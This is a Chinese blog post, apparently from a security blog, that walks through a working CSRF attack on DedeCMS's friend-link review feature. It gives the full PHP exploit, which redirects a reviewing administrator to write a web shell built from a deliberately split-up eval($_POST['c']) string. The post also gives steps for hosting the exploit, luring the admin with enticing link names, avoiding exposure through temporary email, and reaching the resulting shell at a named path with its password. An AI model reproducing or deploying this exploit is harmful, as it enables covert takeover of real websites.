Loading
0

dedecms利用csrf友情链接getshell

Exp:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=ychack.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

1.将exp放置在公网

例如http://www.ychack.com/index.php,index.php就是我们的exp

2.在目标网站申请友链

友链路径 /plus/flink_add.php

3.管理员审核

管理员审核时,会点进你网站看一下内容,这时候shell就产生了

管理员审核:后台 -> 模块 -> 辅助插件 -> 友情链接

shell地址在/include/taglib/ychack.php 密码c

4.总结分析

这里笔者不作过多代码分析,只是让读者有对漏洞行为有基本了解。

在目标网站申请一个友情链接/plus/flink_add.php
网址填写为先前的 http://www.ychack.com/index.php, 名称随便填,最好填写诱导性关键字引发管理员好奇心。这样才能加大成功率。
提交成功之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一下(漏洞利用关键)。
实际上,在管理员点击新添加的友情链接时,管理员会触发了一个HTTP请求:
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=ychack.php

页面跳转:
成功修改/创建文件!
生成shell地址:
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/include/taglib/ychack.php

缺点就是那些没人管的老站,基本上进后台也不可能去看友链的,除非自己邮箱通知,但是邮箱通知会暴露自己,当然也可以用临时邮箱,主要是需要耐心,毅力

笔者试过一个dede版本为20140814的站,亲测成功。剩下的由笔者们自己发挥

附个经过改良的过狗exp,评论可见抱歉,只有对本文发表过评论才能阅读隐藏内容。

本文由A1d4m's blog(www.ychack.com)提供,文章原创版权所有,转载请注明!